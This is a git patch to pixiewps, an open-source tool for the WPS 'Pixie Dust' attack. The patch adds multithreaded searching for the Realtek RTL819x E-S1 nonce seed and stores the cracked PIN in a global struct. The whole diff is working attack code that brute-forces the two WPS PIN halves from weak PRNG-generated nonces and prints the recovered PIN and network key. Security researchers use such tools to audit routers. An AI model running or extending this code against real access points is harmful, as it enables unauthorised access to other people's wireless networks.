From bb5c1d1d5fef55d065ae27767f1690644267229f Mon Sep 17 00:00:00 2001 From: rofl0r Date: Wed, 29 Nov 2017 23:22:24 +0000 Subject: [PATCH] implement parallel search of es1 nonce for RTL each thread searches 1 seed forward, then 1 seed backwards in time. the main thread handles the case seed enonce==seed es1. --- src/pixiewps.c | 162 ++++++++++++++++++++++++++++--------------------- src/pixiewps.h | 5 ++ 2 files changed, 98 insertions(+), 69 deletions(-) diff --git a/src/pixiewps.c b/src/pixiewps.c index 4b82155..4ad5922 100644 --- a/src/pixiewps.c +++ b/src/pixiewps.c @@ -93,6 +93,7 @@ static struct job_control { int mode; uint32_t end; uint32_t randr_enonce[4]; + struct global *wps; struct crack_job *crack_jobs; volatile uint32_t nonce_seed; } job_control; @@ -195,6 +196,8 @@ static void crack_thread_rt(struct crack_job *j) } } +static void crack_thread_rtl_es(struct crack_job *j); + static void *crack_thread(void *arg) { struct crack_job *j = arg; @@ -203,6 +206,8 @@ static void *crack_thread(void *arg) crack_thread_rtl(j); else if (job_control.mode == RT) crack_thread_rt(j); + else if (job_control.mode == -RTL819x) + crack_thread_rtl_es(j); else assert(0); @@ -233,6 +238,7 @@ static void setup_thread(int i) static void init_crack_jobs(struct global *wps, int mode) { + job_control.wps = wps; job_control.jobs = wps->jobs; job_control.end = (mode == RTL819x) ? wps->end : 0xffffffffu; job_control.mode = mode; @@ -241,7 +247,8 @@ static void init_crack_jobs(struct global *wps, int mode) /* Converting enrollee nonce to the sequence may be generated by current random function */ int i, j = 0; - if (mode == RTL819x) + if (mode == -RTL819x) ; /* nuffin' */ + else if (mode == RTL819x) for (i = 0; i < 4; i++) { job_control.randr_enonce[i] |= wps->e_nonce[j++]; job_control.randr_enonce[i] <<= 8; @@ -254,11 +261,11 @@ static void init_crack_jobs(struct global *wps, int mode) else memcpy(job_control.randr_enonce, wps->e_nonce, WPS_NONCE_LEN); - job_control.crack_jobs = malloc(wps->jobs * sizeof (struct job_control)); + job_control.crack_jobs = malloc(wps->jobs * sizeof (struct crack_job)); uint32_t curr = (mode == RTL819x) ? wps->start : 0; int32_t add = (mode == RTL819x) ? -SEEDS_PER_JOB_BLOCK : SEEDS_PER_JOB_BLOCK; for (i = 0; i < wps->jobs; i++) { - job_control.crack_jobs[i].start = curr; + job_control.crack_jobs[i].start = (mode == -RTL819x) ? i + 1 : curr; setup_thread(i); curr += add; } @@ -303,7 +310,7 @@ static void rtl_nonce_fill(uint8_t *nonce, uint32_t seed) uint8_t *ptr = nonce; glibc_seed(&glibc_prng, seed); - + for (i = 0; i < 4; i++, ptr += 4) { uint32_t be = end_htobe32(glibc_rand(&glibc_prng)); memcpy(ptr, &be, sizeof be); @@ -313,63 +320,75 @@ static void rtl_nonce_fill(uint8_t *nonce, uint32_t seed) static int find_rtl_es1(struct global *wps, char *pin, uint8_t *nonce_buf, uint32_t seed) { rtl_nonce_fill(nonce_buf, seed); - + return crack_first_half(wps, pin, nonce_buf); } -static int find_rtl_es_dir(struct global *wps, char *pin, int dir) -{ - int i, break_cond = (MODE3_TRIES + 1) * dir; - if (dir == 1) - DEBUG_PRINT("Trying forward in time"); - else - DEBUG_PRINT("Trying backwards in time"); - - for (i = 0; i != break_cond; i += dir) { - uint8_t nonce_buf[WPS_SECRET_NONCE_LEN]; - - DEBUG_PRINT("Trying (%10u) with E-S1: ", wps->nonce_seed + i); - - if (find_rtl_es1(wps, pin, nonce_buf, wps->nonce_seed + i)) { - DEBUG_PRINT("First pin half found"); - memcpy(wps->e_s1, nonce_buf, sizeof nonce_buf); - wps->s1_seed = wps->nonce_seed + i; - - char pin_copy[WPS_PIN_LEN + 1]; - strcpy(pin_copy, pin); - int j; - /* we assume that the seed used for es2 is within a range of 10 seconds - forwards in time only */ - for (j = 0; j < 10; j++) { - strcpy(pin, pin_copy); - rtl_nonce_fill(wps->e_s2, wps->s1_seed + j); - DEBUG_PRINT("Trying (%10u) with E-S2: ", wps->s1_seed + j); - DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); - if (crack_second_half(wps, pin)) { - wps->s2_seed = wps->s1_seed + j; - DEBUG_PRINT("Pin found"); - return RTL819x; - } +static void crack_thread_rtl_es(struct crack_job *j) +{ + int thread_id = j->start; + uint8_t nonce_buf[WPS_SECRET_NONCE_LEN]; + char pin[WPS_PIN_LEN + 1]; + int dist, max_dist = (MODE3_TRIES + 1); + + for (dist = thread_id; !job_control.nonce_seed && dist < max_dist; dist += job_control.jobs) { + if (find_rtl_es1(job_control.wps, pin, nonce_buf, job_control.wps->nonce_seed + dist)) { + job_control.nonce_seed = job_control.wps->nonce_seed + dist; + memcpy(job_control.wps->e_s1, nonce_buf, sizeof nonce_buf); + memcpy(job_control.wps->pin, pin, sizeof pin); + } + + if (job_control.nonce_seed) + break; + + if (find_rtl_es1(job_control.wps, pin, nonce_buf, job_control.wps->nonce_seed - dist)) { + job_control.nonce_seed = job_control.wps->nonce_seed - dist; + memcpy(job_control.wps->e_s1, nonce_buf, sizeof nonce_buf); + memcpy(job_control.wps->pin, pin, sizeof pin); + } + } +} + +static int find_rtl_es(struct global *wps) +{ + + init_crack_jobs(wps, -RTL819x); + + /* checking distance 0 in the main thread, as it is the most likely */ + uint8_t nonce_buf[WPS_SECRET_NONCE_LEN]; + char pin[WPS_PIN_LEN + 1]; + + if (find_rtl_es1(wps, pin, nonce_buf, wps->nonce_seed)) { + job_control.nonce_seed = wps->nonce_seed; + memcpy(wps->e_s1, nonce_buf, sizeof nonce_buf); + memcpy(wps->pin, pin, sizeof pin); + } + + collect_crack_jobs(); + + if (job_control.nonce_seed) { + DEBUG_PRINT("First pin half found"); + wps->s1_seed = job_control.nonce_seed; + char pin_copy[WPS_PIN_LEN + 1]; + strcpy(pin_copy, wps->pin); + int j; + /* we assume that the seed used for es2 is within a range of 10 seconds + forwards in time only */ + for (j = 0; j < 10; j++) { + strcpy(wps->pin, pin_copy); + rtl_nonce_fill(wps->e_s2, wps->s1_seed + j); + DEBUG_PRINT("Trying (%10u) with E-S2: ", wps->s1_seed + j); + DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); + if (crack_second_half(wps, wps->pin)) { + wps->s2_seed = wps->s1_seed + j; + DEBUG_PRINT("Pin found"); + return RTL819x; } } } return NONE; } - - -static int find_rtl_es(struct global *wps, char *pin) -{ - - int found_p_mode = find_rtl_es_dir(wps, pin, 1); - - if (found_p_mode != NONE) - return found_p_mode; - - found_p_mode = find_rtl_es_dir(wps, pin, -1); - - return found_p_mode; -} static void empty_pin_hmac(struct global *wps) { @@ -697,7 +716,6 @@ usage_err: } uint_fast8_t pfound = PIN_ERROR; - char pin[WPS_PIN_LEN + 1] = {0}; vtag_t *vtag; if (decrypted5 && decrypted7 && wps->e_hash1 && wps->e_hash2) { wps->e_s1 = malloc(WPS_SECRET_NONCE_LEN); if (!wps->e_s1) goto memory_err; @@ -721,7 +739,7 @@ usage_err: return UNS_ERROR; } - pfound = crack(wps, pin); + pfound = crack(wps, wps->pin); } gettimeofday(&t_end, 0); @@ -761,10 +779,10 @@ usage_err: printf("\n [*] SSID: %s", buffer); } if (pfound == PIN_FOUND) { - if (pin[0] == '\0') + if (wps->pin[0] == '\0') printf("\n [+] WPS pin: "); else - printf("\n [+] WPS pin: %s", pin); + printf("\n [+] WPS pin: %s", wps->pin); } if ((vtag = find_vtag(decrypted7, wps->m7_encr_len - 16, WPS_TAG_NET_KEY, 0))) { int tag_size = end_ntoh16(vtag->len); @@ -1012,7 +1030,6 @@ usage_err: uint_fast8_t k = 0; uint_fast8_t found_p_mode = NONE; - char pin[WPS_PIN_LEN + 1]; uint32_t seed; wps->nonce_seed = 0; @@ -1031,7 +1048,7 @@ usage_err: DEBUG_PRINT("Trying with E-S2: "); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); - uint_fast8_t r = crack(wps, pin); + uint_fast8_t r = crack(wps, wps->pin); if (r == PIN_FOUND) { found_p_mode = RT; DEBUG_PRINT("Pin found"); @@ -1063,7 +1080,7 @@ usage_err: DEBUG_PRINT("Trying with E-S2: "); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); - r = crack(wps, pin); + r = crack(wps, wps->pin); if (r == PIN_FOUND) { found_p_mode = RT; DEBUG_PRINT("Pin found"); @@ -1108,7 +1125,7 @@ usage_err: DEBUG_PRINT("Trying with E-S2: "); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); - uint_fast8_t r = crack(wps, pin); + uint_fast8_t r = crack(wps, wps->pin); if (r == PIN_FOUND) { found_p_mode = ECOS_SIMPLE; DEBUG_PRINT("Pin found"); @@ -1130,7 +1147,7 @@ usage_err: DEBUG_PRINT("Trying with E-S2: "); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); - uint_fast8_t r = crack(wps, pin); + uint_fast8_t r = crack(wps, wps->pin); if (r == PIN_FOUND) { found_p_mode = RTL819x; DEBUG_PRINT("Pin found"); @@ -1172,7 +1189,7 @@ usage_err: wps->nonce_seed = collect_crack_jobs(); if (wps->nonce_seed) { /* Seed found */ - found_p_mode = find_rtl_es(wps, pin); + found_p_mode = find_rtl_es(wps); } if (found_p_mode == NONE && !wps->bruteforce) { @@ -1225,7 +1242,7 @@ usage_err: DEBUG_PRINT("Trying with E-S2: "); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); - uint_fast8_t r = crack(wps, pin); + uint_fast8_t r = crack(wps, wps->pin); if (r == PIN_FOUND) { found_p_mode = ECOS_SIMPLEST; DEBUG_PRINT("Pin found"); @@ -1270,7 +1287,7 @@ usage_err: DEBUG_PRINT("Trying with E-S2: "); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); - uint_fast8_t r = crack(wps, pin); + uint_fast8_t r = crack(wps, wps->pin); if (r == PIN_FOUND) { found_p_mode = ECOS_KNUTH; DEBUG_PRINT("Pin found"); @@ -1347,11 +1364,11 @@ usage_err: printf("\n [*] ES1: "); byte_array_print(wps->e_s1, WPS_SECRET_NONCE_LEN); printf("\n [*] ES2: "); byte_array_print(wps->e_s2, WPS_SECRET_NONCE_LEN); } - if (pin[0] == '\0') { + if (wps->pin[0] == '\0') { printf("\n [+] WPS pin: "); } else { - printf("\n [+] WPS pin: %s", pin); + printf("\n [+] WPS pin: %s", wps->pin); } } else { @@ -1494,11 +1511,13 @@ static int crack_first_half(struct global *wps, char *pin, const uint8_t *es1_ov } unsigned first_half; + uint8_t psk[WPS_HASH_LEN]; for (first_half = 0; first_half < 10000; first_half++) { uint_to_char_array(first_half, 4, pin); - if (check_pin_half(pin, wps->psk1, es1, wps, wps->e_hash1)) { + if (check_pin_half(pin, psk, es1, wps, wps->e_hash1)) { pin[4] = 0; /* make sure pin string is zero-terminated */ + memcpy(wps->psk1, psk, sizeof psk); return 1; } } @@ -1514,13 +1533,17 @@ static int crack_second_half(struct global *wps, char *pin) unsigned second_half, first_half = atoi(pin); char *s_pin = pin + strlen(pin); + uint8_t psk[WPS_HASH_LEN]; for (second_half = 0; second_half < 1000; second_half++) { unsigned int checksum_digit = wps_pin_checksum(first_half * 1000 + second_half); unsigned int c_second_half = second_half * 10 + checksum_digit; uint_to_char_array(c_second_half, 4, s_pin); - if (check_pin_half(s_pin, wps->psk2, wps->e_s2, wps, wps->e_hash2)) + if (check_pin_half(s_pin, psk, wps->e_s2, wps, wps->e_hash2)) { + memcpy(wps->psk2, psk, sizeof psk); + pin[8] = 0; return 1; + } } for (second_half = 0; second_half < 10000; second_half++) { @@ -1531,7 +1554,8 @@ static int crack_second_half(struct global *wps, char *pin) } uint_to_char_array(second_half, 4, s_pin); - if (check_pin_half(s_pin, wps->psk2, wps->e_s2, wps, wps->e_hash2)) { + if (check_pin_half(s_pin, psk, wps->e_s2, wps, wps->e_hash2)) { + memcpy(wps->psk2, psk, sizeof psk); pin[8] = 0; /* make sure pin string is zero-terminated */ return 1; } diff --git a/src/pixiewps.h b/src/pixiewps.h index c480648..59a8260 100644 --- a/src/pixiewps.h +++ b/src/pixiewps.h @@ -44,6 +44,10 @@ #include "utils.h" +#ifndef WPS_PIN_LEN +#define WPS_PIN_LEN 8 +#endif + #if defined(DEBUG) # define DEBUG_PRINT(fmt, args...) do { fprintf(stderr, "\n [DEBUG] %s:%d:%s(): " fmt, \ __FILE__, __LINE__, __func__, ##args); fflush(stdout); } while (0) @@ -83,6 +87,7 @@ const uint8_t rtl_rnd_seed[] = { }; struct global { + uint8_t pin[WPS_PIN_LEN + 1]; uint8_t *pke; uint8_t *pkr; uint8_t *e_key;